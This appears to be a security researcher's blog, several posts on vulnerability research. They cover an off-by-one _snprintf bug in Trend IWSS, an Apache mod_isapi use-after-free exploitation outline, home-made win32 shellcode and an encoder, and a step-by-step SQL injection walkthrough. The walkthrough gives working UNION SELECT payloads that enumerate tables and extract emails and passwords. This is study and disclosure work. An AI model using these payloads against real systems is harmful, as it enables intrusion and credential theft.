So I did the CREST Certified Web Application Tester ("CCT - a 'team leader' qualification in Web Application testing") recently and passed.
They had a great setup in Canberra for the test and it was good fun! Though it was fast paced and required constant focus :)
One of the most common bugs I find when reverse engineering is off by one bugs. While they can have devastating consequences, they can also result in minor problems that cannot be exploited.
The below example details a bug I recently found in the HTTP proxy service of Trend IWSS (web security suite). This bug does not appear to have any exploitable conditions as it gets allocated to whatever the length of the string is. You could probably make the allocator fail to allocate (really big string), which would result in a null ptr and if it is not checked before use, it would result in an access violation.
The bug below is due to an off by one when allocating memory prior to a _snprintf call.
Library :IWSSCommonUSERID.dll
Prototype: parse_user_agent_header(char const *):
get string length:
.text:10001CD0 mov cl, [eax]
.text:10001CD2 add eax, 1
.text:10001CD5 test cl, cl
.text:10001CD7 jnz short loc_10001CD0
calc length:
.text:10001CD9 sub eax, esi
check length:
.text:10001CDB cmp eax, 512 ; do if less than 512 characters in length
.text:10001CE0 jnb short loc_10001D4F
off by one:
.text:10001CE3 push edx
.text:10001CE4 push offset Format ; "%s"
.text:10001CE9 lea eax, [esp+21Ch+Str]
.text:10001CED push 512 ; Count
.text:10001CF2 push eax ; Dest
.text:10001CF3 call ds:_snprintf ; off by one. You can supply 512 chars.
.text:10001CF3 ; Therefore overwrites the null byte at the end.
The C code for this would look something like:
#define MAX_BUF_LEN 512
...
_snprintf(buff2, MAX_BUF_LEN, "%s", buff);
In the past i've found these types of bugs in a number of products such as Oracle's Web server (shipped with many Oracle products) and uTorrent.
In the past year much has happened! I no longer work for Sense of Security, nor publish security advisories (to the public that is, usually). I've started a new role at Datacom TSS (datacom.com.au/tss).
At TSS, I have a large focus on true vulnerability research, where i get to pick a target and attempt to break it! I still do penetration testing/security assessments however my billable hours have been largely decreased. So far i've been enjoying my time and lifestyle at TSS :)
Recently i discovered a vulnerability in Apache mod_isapi that when exploited provides the attacker with SYSTEM privileges to the remote host, without authentication (provided the DLL you call doesn't require authentication - this would be rare and most likely only basic auth authetication would prevent the bug from being triggered). Below are some interesting notes about this bug.
Triggering the vulnerability:
- Send a normal request with the keep-alive flag set and a sized content-length value.
- Follow this request by a RESET packet.
Apache's processing:
The function: ap_get_client_block() fails, and "res" becomes less than 0.
1530: while (read < cid->ecb->cbAvailable &&
1531: ((res = ap_get_client_block(r, (char*)cid->ecb->lpbData + read,
1532: cid->ecb->cbAvailable - read)) > 0)) {
1533: read += res;
1534: }
The call to unload the DLL.
1536: if (res < 0) {
1537: isapi_unload(isa, 0); // <-- CALL TO UNLOAD
1538: return HTTP_INTERNAL_SERVER_ERROR;
1539: }
"yes, yes, so what?"
Now we have an "orphaned" callback pointer.
"a what?"
Exploiting the vulnerability:
Now we send another request to exploit the vulnerability. In this request we call a function published by the ISAPI module that has just been unloaded. Since the DLL is no longer in memory we will be calling invalid memory, unless we make that memory valid.
We make the memory valid by attempting to make Apache allocate user supplied data and the best way to do this that i could think of was to send a large request.
In the example proof of concept code, and demonstration video i was using an ISAPI module called "SMTPSend.dll". Nothing fancy just a simple ISAPI module.
After unloading the DLL and sending another packet i noticed it would crash when calling "0x0074xxxx". The proof of concept code will send a payload request that will hit above this address, from memory i think 0x007Axxxx. However with other versions of the code i was able to hit higher addresses again by increasing the size of the packet.
Disadvantages:
* Reliability just isn't there. Most of the time, each ISAPI module will be different.
* Apache would allocate large chunks of user supplied data followed by a pile of nulls, destroying a large nopsled, and it sucks to land in the middle of them.
* DEP owns this attack since we cannot directly control EIP.
The advantage of exploiting a bugs like this is that i was able to exploit the bug and take _control_.
Before developing an exploit for this bug it was said that this bug could not be exploited by a "hacker". 5 days later i had a working exploit.
Finally, well done to Apache for their prompt response and fix.
Update: The monday i brought the exploit code into work, the guy behind me (Tim) decided to film it, so check it out for a bit of a laugh:
http://www.bmgsec.com.au/downloads/apache-pwnage.m4v
I've been meaning to post this for some time. However I’ve had a few things I wanted to tidy up before doing so. About 6 months ago I decided I wanted to learn to write shellcode, so the below pieces are the result of that!
I've written a number of pieces for both Linux and Windows; however I’ll just be releasing the following shellcode:
- Dynamic WinExec - cmd.exe (win32) - dynamiccmd.asm
- Dynamic Message Box (win32) - dynamicmsg.asm
I wasn't sure whether or not I’d bother releasing dynamiccmd.asm but here it is... I'm sure it would come in handy for someone else attempting to learn win32 shellcode. Due to the size (228 bytes) I wouldn't bother using it for an actual exploit over metasploit's implementation :)
dynamicmsg.asm is shellcode which will display a message box, then exit. When developing proof of concept exploits I got tired of watching calc.exe being spawned, as a result I figured a message box would be cooler! To make it worth using the shellcode had to be dynamic. I was unable to find any dynamic implementations of this on the internet. Again the size is quiet large, weighing in at 302 bytes. However, it was designed with proof of concepts in mind so having a large payload will come in handy in case someone else wants to swap shellcode. This way the researcher will have to find space for 302 bytes. Other, malicious payloads are generally smaller in size.
At the time of coding I had decided to use the PEB method to find the base of kernel32, and the Directory Export Table in order to find function addresses. Since the release of Windows 7 I read somewhere that using PEB to find the base of kernel32 is no longer feasible. When I get some time I might do an update (and remove all nulls while I’m at it). It’s not a big job to modify the code, just swap the find_kernal32 code with the new method (I believe it’s documented and sample code is available somewhere). So at the moment this shellcode will function correctly on:
- 95/98/ME/NT/2K/XP/Vista
If you have viewed both files you will notice nulls are contained in the shellcode. These are the remaining nulls I was unable to easily remove. However I do have another version which eliminates a number of them, but not all. I figured I’d wait until I worked out how to completely remove my null problem before posting that version. One of the major problems I am having in regards to null bytes is that calls and jmps were creating nulls. If I rearranged the code a bit and used short jmps I was able to avoid some of the nulls. Anyway, to combat null and bad byte problems I decided I’d write a shellcode encoder/decoder.
The shellcode encoder/decoder is additive. In that the encoder will minus a specific number (the key) from each byte of shellcode, then the decoder will add a specific number (again the key) to each byte in order to decode the original shellcode on the other side (interesting to watch in a debugger).
The encoder takes an input file of hex values, presented like so: 41424344, then a key value (int) which is used to subtract from each byte. The encoder will then print out the decoder, followed by the encoded shellcode in C/C++ formatting.
The encoder will print out one of two encoders, depending on which one is required to decode the shellcode. Decoder 1 uses the CL register to store the size of the shellcode. This means that the size of the shellcode must be less than 255 bytes. Decoder 1 weighs 20 bytes. Decoder 2 uses the CX register which allows for larger shellcode to be decoded. Decoder 2 weighs 22 bytes.
At the moment, the encoder does not verify that bad bytes have been eliminated after encoding, so this is a bit of a manual process. I had been planning an upgrade before release but who knows when that'll come! Again the encoder/decoder was a learning curve so I’m sure metasploit's implementation is much better :)
The bmgsec-shellcode-and-encoder.zip file contains all source code along with a binary, sample code and some custom tools to help make a shellcoder’s life easier! It also includes a copy of the dynamic message box and dynamic CMD shellcode.
I used the encoder/decoder and dynamic message box shellcode in my latest exploit, TheGreenBow VPN Client. The exploit is Vista certified! Unfortunately i am unable to release this exploit since the company i work for have elected to keep it private.
The infamous Blind SQL Injection vulnerability class. Recently while performing a web application penetration test on a closed source application I discovered a Blind SQL Injection vulnerability and was able to exploit this vulnerability to compromise the whole web application. Below is the process I used.
1. Discovering the vulnerability.
Try and make the query return true with the use of more characters than allowed:
Request : file.asp?id=1'"
Response: System error (Failed to execute query)
Request : file.asp?id=1' OR '1'='1
Response: Query returned true (page loaded)
Note: Remember to try talking marks if quotes are not breaking the query.
2. Attempt to determine what the query is doing. Do you think it will be possible to return data or just execute a query? It may be difficult to determine at this point. However if it is only possible to execute queries your best chance is updating or inserting a new entry. The below principles can be used to achieve this.
3. Column counting
In order to construct a valid UNION query you need to know how many columns to select. There are a number of methods to achieve this. I find using the ORDER BY clauses to be most efficient. ORDER BY can take integers to select a column to order by:
Request: file.asp?id=1' ORDER BY 1 --
Response: Query returned true (page loaded)
Request: file.asp?id=1' ORDER BY 2 --
Response: Query returned true (page loaded)
Request: file.asp?id=1' ORDER BY 3 --
Response: System error.
Since the final response resulted in "System error" meaning that the query failed we were able to determine the number of columns selected: 2 (number of requests that returned true).
4. Constructing a valid UNION query
Before being able to execute a valid UNION query we need to determine the datatypes of the columns being selected. If a column is of INT datatype and you try to UNION SELECT with a VARCHAR datatype the query will fail. I was able to achieve this by selecting "null", or "0" as my column names in a UNION query:
Request: file.asp?id=1' UNION SELECT null, null --
Response: Query returned true (page loaded)
Request: file.asp?id=1' UNION SELECT @@version, null --
Response: System Error
Request: file.asp?id=1' UNION SELECT null, @@version --
Response: Query returned true (SQL Server version information returned)
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Copyright (c) 1988-2000 Microsoft Corporation
Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
In conclusion I was able to determine that the first column being selected is a datatype other than char (or similar). The second column was determined to be a datatype similar (if not the same) to that of the column being selected.
5. Finding SQL server information
Now that I was able to construct a valid UNION query I wanted to return other information. I started by selecting the server name from master..sysservers:
Request : file.asp?id=1' UNION SELECT null, srvname FROM master..sysservers --
Response: Query returned true (Server name returned)
Following this I selected a username from master..sysusers:
Request : file.asp?id=1' UNION SELECT null, user FROM master..sysusers --
Response: Query returned true (Database username returned)
6. Enumerating columns and tables
The below queries are pretty straight forward. Firstly I select all tables followed by selecting all columns for a specific table.
All tables:
Request : file.asp?id=1' UNION SELECT null, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --
Response: Query returned true (All table names returned)
All columns for "tbl_MemberDetails":
Request : file.asp?id=1' UNION SELECT null, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_MemberDetails' --
Response: Query returned true (All column names for specified table returned)
7. Retrieving an account
Now that I had determined the table and columns I wanted to select I was able to construct the below queries. "email" is the username field followed by "password" being the password field.
All email addresses:
Request : file.asp?id=1' UNION SELECT null, email FROM tbl_MemberDetails --
Response: Query returned true (All email addresses returned)
All passwords:
Request : file.asp?id=1' UNION SELECT null, password FROM tbl_MemberDetails --
Response: Query returned true (All passwords returned)
Password for a specific user:
Request : file.asp?id=1' UNION SELECT null, password FROM tbl_MemberDetails WHERE email='administrator@AAAAA.com
Response: Query returned true (Specific password returned)
In closing I was able to obtain a number of user accounts. Previous to this I had never exploited a Blind SQL Injection vulnerability. The whole process took about an hour to complete.
Later this month I plan on releasing a basic shellcode encoder I wrote to assist in eliminating null bytes (and others) from shellcode. Its nothing compared to metasploit however recently I went through a phase of learning to write win32 shellcode! While writing the shellcode I attempted to eliminate null bytes I knew would occur. Although unfortunately my shellcode was not null byte free. So instead of adding extra operations to eliminate my nulls bytes I wrote an encoder/decoder.
When I release the peices of shellcode I wrote I will release a version with null bytes that uses a decoder, and a version without. I plan on releasing them this month...